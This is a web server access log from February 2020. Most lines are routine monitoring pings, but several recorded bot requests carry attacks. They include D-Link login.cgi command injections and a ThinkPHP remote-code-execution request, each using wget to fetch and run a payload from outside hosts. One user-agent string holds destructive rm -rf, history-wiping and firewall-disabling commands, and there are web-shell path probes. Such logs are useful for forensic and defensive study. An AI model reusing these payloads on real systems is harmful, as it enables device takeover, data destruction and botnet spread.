212.91.246.72 - - [19/Feb/2020:14:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.60.239.22 - - [19/Feb/2020:14:05:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:14:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.231.221.177 - - [19/Feb/2020:14:07:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:14:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.226.226.89 - - [19/Feb/2020:14:07:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
41.90.253.244 - - [19/Feb/2020:14:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:14:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.29.163.250 - - [19/Feb/2020:14:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:14:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [19/Feb/2020:14:11:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [19/Feb/2020:14:12:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [19/Feb/2020:14:12:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [19/Feb/2020:14:12:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [19/Feb/2020:14:12:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:14:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.108.48.159 - - [19/Feb/2020:14:15:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:14:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.70.95.148 - - [19/Feb/2020:14:20:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:14:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.41.125 - - [19/Feb/2020:14:23:40 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:14:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.5.60.33 - - [19/Feb/2020:14:29:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:14:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.81.180.160 - - [19/Feb/2020:14:31:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:14:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.144.31.245 - - [19/Feb/2020:14:34:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:14:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.53.14.68 - - [19/Feb/2020:14:36:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.247.186.179 - - [19/Feb/2020:14:36:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:14:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.73.34.177 - - [19/Feb/2020:14:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
113.53.14.68 - - [19/Feb/2020:14:40:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.5.36.197 - - [19/Feb/2020:14:40:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
78.186.153.65 - - [19/Feb/2020:14:40:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [19/Feb/2020:14:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.70.97.108 - - [19/Feb/2020:14:41:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:14:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.240.21.24 - - [19/Feb/2020:14:43:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:14:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.166.164.185 - - [19/Feb/2020:14:44:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:14:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [19/Feb/2020:14:47:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [19/Feb/2020:14:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.142.115.111 - - [19/Feb/2020:14:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [19/Feb/2020:14:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [19/Feb/2020:14:51:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [19/Feb/2020:14:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.108.48.159 - - [19/Feb/2020:14:56:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:14:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [19/Feb/2020:14:57:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:14:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:14:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.154.78.155 - - [19/Feb/2020:15:00:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.64.208.81 - - [19/Feb/2020:15:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:15:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [19/Feb/2020:15:01:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:15:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:02:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [19/Feb/2020:15:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.224.103.101 - - [19/Feb/2020:15:03:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:05:23 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [19/Feb/2020:15:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.84.52.3 - - [19/Feb/2020:15:07:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
62.64.105.90 - - [19/Feb/2020:15:07:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:08:15 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:08:18 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:08:19 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:08:19 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
71.6.232.4 - - [19/Feb/2020:15:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:08:50 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
47.89.225.94 - - [19/Feb/2020:15:09:15 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
47.89.225.94 - - [19/Feb/2020:15:09:39 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [19/Feb/2020:15:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.255.80.148 - - [19/Feb/2020:15:09:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:10:03 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
47.89.225.94 - - [19/Feb/2020:15:10:27 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [19/Feb/2020:15:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:10:51 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
47.89.225.94 - - [19/Feb/2020:15:10:54 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:10:56 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:10:58 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:10:58 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:02 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:02 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:03 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:03 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:04 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:06 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:06 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:07 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:07 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
